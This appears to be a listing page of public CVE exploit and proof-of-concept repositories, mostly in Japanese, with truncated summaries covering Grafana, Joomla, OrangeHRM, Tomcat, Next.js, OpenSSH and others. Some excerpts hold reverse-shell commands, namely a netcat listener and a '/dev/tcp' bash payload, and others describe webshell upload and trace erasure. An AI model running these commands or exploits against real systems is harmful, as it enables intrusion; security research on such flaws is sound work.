CVE-2026-27876

CVE-2026-27876: Grafana SQL式の任意ファイル書き込みからRCEへ CVSS 9.1 Critical | 任意ファイル書き込み | リモートコード実行 デモ https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56 概要 GrafanaのSQL式機能（sqlExpressionsトグル）は、プロセス内SQLエンジン（dolthub/go-mysql-server）を使用しており、AST許可リストに欠陥があります。SetOpノード（UNION...

CVE-2015-8562

CVE-2015-8562 - リバースシェル Python エクスプロイト: Joomla 1.5 - 3.4.5 オブジェクトインジェクション RCE X-Forwarded-For ヘッダー: root@kitploit: 脆弱性発見日: 2015年12月17日 エクスプロイト作成者: anarc0der バージョン: Joomla 1.5 から 3.4.5 CVE : CVE-2015-8562 使用方法: root@kitploit: ターミナルを1つ開き、ncで待ち受けます: $ nc -lnvp 4444 別のターミナルを開き、エクスプロイトを実行します: python3...

CVE-2026-58231

CVE-2026-58231 検出スクリプト CVE-2026-58231 — SAP Commerce Cloud の Data Hub Adapter コンポーネントにおける不適切な認可（CVSS 10.0）のための検出・前提条件検証ツールです。 本スクリプトは非破壊的なチェックのみを実行します。コードインジェクションのペイロードを同梱・実行することはありません。 背景 CVE-2026-58231 は、認証されていないリモート攻撃者がデフォルト認証クライアントを悪用し、Data Hub Adapter...

PoC-CVE-2025-66224

OrangeHRM RCE Exploit - CVE-2025-66224 📋 説明 この概念実証（PoC）は、OrangeHRM の sendmailpath 設定パラメータにおけるコマンドインジェクションを通じたリモートコード実行（RCE）脆弱性を示しています。 このエクスプロイトは以下のように動作します： 1. 悪意のあるペイロードを MySQL データベース（hshrconfig テーブル）に注入する 2. メール設定 API エンドポイントを介してペイロードの実行をトリガーする 3. 元の値を自動的に復元して痕跡を消去する 🎯 影響を受けるバージョン OrangeHRM...

CVE-2024-7593

CVE-2024-7593 説明: CVE-2024-7593 は、Pulse Secure VPN を含む複数の Pulse Secure 製品に影響を与える重大な脆弱性です。この脆弱性により、管理インターフェースにアクセスできる認証済みの攻撃者が、影響を受けるサーバー上で任意のコマンドを実行できる可能性があります。これにより、悪意のあるコードが実行され、システムの整合性と可用性が損なわれる可能性があります。 技術的詳細 種類: リモートコード実行 RCE。 深刻度: 重大 CVSS: 9.8。 影響を受けるバージョン: Pulse Secure VPN...

CVE-2024-38063

CVE-2024-38063 Research – Windows IPv6 Kernel Remote Code Execution 1. Project Overview This repository contains our research and analysis of CVE-2024-38063 , a critical vulnerability in the Windows TCP/IP stack. CVE stands for Common Vulnerabilities and Exposures. It is a standardized dictionary...

CVE-2023-26326_Buddyform_exploit

python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' もともと、CVE-2023–26326 を悪用するには、デシリアライゼーションの脆弱性としてガジェットチェーンが必要でした。この手法は PHP 8+ で動作する新しい WordPress サイトではもはや使用できません。しかし、CVE-2024-2961https://www.ambionics.io/blog/iconv-cve-2024-2961-p1 と組み合わせることで、phar:// の代わりに php://filt...

CVE-2025-55182-EXP

CVE-2025-55182 エクスプロイトツール ツール概要 本ツールは CVE-2025-55182 の脆弱性（Next.js 関連フレームワークのコード実行脆弱性と推測）を検出・悪用するために使用します。単一ターゲット/複数ターゲットの一括検出、コマンド実行、対話型シェルなどの機能をサポートし、さまざまなシナリオに対応する4種類の攻撃モードを提供します。Base64エンコードコマンド、プロキシ転送、ログ出力などの柔軟な設定に対応しています。 脆弱性の説明 CVE-2025-55182 の脆弱性は Next.js...

CVE-2026-38526-POC

CVE-2026-38526 - Krayin CRM RCEエクスプロイト Krayin CRM ≤ 2.2.x - 無制限のファイルアップロードによるリモートコード実行。 このPoCは、脆弱なTinyMCEアップロードエンドポイント（/admin/tinymce/upload）を悪用してPHPウェブシェルをアップロードし、サーバー上でコマンド実行を実現します。 機能 CSRFトークン処理による完全自動ログイン 二重拡張子を使用してアップロード制限をバイパス リバースシェルと単一コマンド実行をサポート 信頼性の高いLaravel CSRFトークンのリフレッシュ クリーンで使いやすい...

CVE-2024-3400

CVE-2024-3400 PoC 教育目的のみです。テストする許可を得たサーバーでのみ使用してください。 使い方 依存関係： root@kitploit: $ pip install rich targets.txt をスキャン： root@kitploit: $ python run.py -f targets.txt -t 10 - Sending 102 requests... + Requests sent. Writing check file... - Polling 36... - Checking...

tomcat-cve-2017-12617

Tomcat CVE-2017-12617 エクスプロイト/PoC Apache Tomcat 9.0.1 Beta / 8.5.23 / 8.0.47 / 7.0.8 - JSP アップロードバイパス / リモートコード実行 Python3 用 元のスクリプトを Python 3 と互換性を持たせるために、いくつか調整を加えただけです！ 何か問題や不具合があれば、遠慮なく [email protected] までメールしてください。ご希望であれば、直接私に連絡してもらっても構いません。 メールアドレスについてとやかく言わないでください。使い捨て用として使っているので 使い方...

CVE-2025-5548

⚡ CVE-2025-5548: 脆弱性研究とエクスプロイト このリポジトリは、CVE-2025-5548 の技術的分析と概念実証（PoC）のウォークスルーを提供します。この研究は、初期のバイナリ検査からエクスプロイトの成功に至るまで、脆弱性のライフサイクル全体を網羅しています。 ⚠️ 法的・倫理的免責事項 このリポジトリは教育目的のみ です。すべての研究は、管理された隔離されたラボ環境で実施されました。明示的な許可なくシステムに対してこれらの技術を不正に使用することは、違法かつ非倫理的です。 🔍 脆弱性の概要 CVE-2025-5548 は、FreeFloat FTP Server...

CVE-2025-55182-Next.js-RCE

🔍 Next.js セキュリティテストツール Next.js アプリケーション向けプロフェッショナルセキュリティ評価ユーティリティ ⚠️ 免責事項 このツールは、許可されたセキュリティテストおよび研究目的のみで使用することを意図しています。 ✅ 所有している、または明示的なテスト許可を得たシステムのみで使用してください ✅ 適切なスコープを持つバグバウンティプログラムでの使用 ✅ セキュリティ研究者およびペネトレーションテスター向け ❌ 許可なくシステムに対して使用しないでください ❌ 悪意のある行為や違法行為には使用しないでください...

CVE-2024-6387_poc

CVE-2024-6387 概念実証 PoC 説明 このリポジトリは、glibcベースのLinuxシステムにおけるOpenSSHサーバー（sshd）のシグナルハンドラの競合状態を標的とする脆弱性CVE-2024-6387のPoCを含んでいます。この脆弱性により、SIGALRMハンドラ内で非同期シグナル安全でない関数を呼び出すことで、リモートからrootとしてコードを実行できます。 リポジトリをクローンして使用する場合： root@kitploit: git clone https://github.com/jocker2410/CVE-2024-6387poc.git && cd...

CVE-2024-32002

CVE-2024-32002: git clone を介したGit RCEの悪用 このリポジトリは、CVE-2024-32002を悪用するPoCを含んでいます。これはGitの脆弱性で、git clone操作中にRCEを引き起こします。特定の方法でサブモジュールを含むリポジトリを作成することで、攻撃者は大文字小文字を区別しないファイルシステム上のシンボリックリンク処理を悪用して、.git/ディレクトリにファイルを書き込み、悪意のあるフックの実行につなげることができます。 注記: このPoCはWindowsまたはMacシステムでのみ動作します。 ブログ記事...

CVE-2024-11392

CVE-2024-11392 Hugging Face Transformers MobileViTV2 신뢰할 수 없는 데이터 역직렬화 원격 코드 실행 취약점 취약점 개요 및 영향: 이 취약점은 공격자가 Hugging Face Transformers 저장소에 있는 convertmlcvnetstopytorch.py 스크립트에 악성 설정 파일을 제공함으로써 호스트 머신에서 임의 코드를 실행할 수 있게 합니다. 의심하지 않는 사용자가 악성 설정 파일이 포함된 타사 모델을 사용할 경우, convertmlcvnetstopytorch.py 스크립...

CVE-2023-43342-Quick-CMS-Stored-XSS---Languages-Frontend

Quick CMS 保存型XSS v6.7 作成者: Sergio 説明: Quick CMS v6.7 のクロスサイトスクリプティング XSS の脆弱性により、ローカル攻撃者は、Languages メニューの Front and back end - Pages に対して、細工されたスクリプトを介して任意のコードを実行できます。 攻撃ベクトル: スクリプティング - 「Languages- Front and back end」の Pages への入力のサニタイズ処理に脆弱性があり、ユーザーが Web ページにアクセスした際に実行される JavaScript コードを注入できます。...

CVE-2025-41656

CVE-2025-41656 プロジェクト概要 このプロジェクトは、NodeRED向けの認証なしリモートコード実行脆弱性である CVE-2025-41656 をモデル化するために存在します。この脆弱性をモデル化するために、ラズベリーパイ、アクチュエータ、センサーを使用した小型フォームファクタのSCADAシステムを作成しました。ラズベリーパイにはNodeREDとOpenPLCのコンテナが含まれており、Modbus...

CVE-2020-2950

Oracle-BI CVE-2020-2950 AMF デシリアライズ バージョン: 5.5.0.0.0, 11.1.1.9.0, 12.2.1.3.0 インストール:https://www.sql.edu.vn/obiee/oracle-business-intelligence-12c/ 参照: https://peterjson.medium.com/cve-2020-2950-turning-amf-deserialize-bug-to-java-deserialize-bug-2984a8542b6f エクスプロイト - PoC amf.bin base64...

CVE-2025-55182

CVE-2025-55182 脆弱性検出・悪用ツール プロジェクト紹介 本ツールは、Java Swing ベースの GUI ツールであり、CVE-2025-55182 脆弱性の検出と悪用に使用します。この脆弱性は Next.js フレームワークにおけるセキュリティ上の欠陥であり、攻撃者が特定のリクエストを構築することで任意のコマンドを実行できる可能性があります。 機能特長 1. 脆弱性検出 バッチ URL スキャンをサポート マルチスレッドによる並行スキャンで検出速度を向上 スキャンの進行状況と件数をリアルタイム表示（例：1/1000 0%）...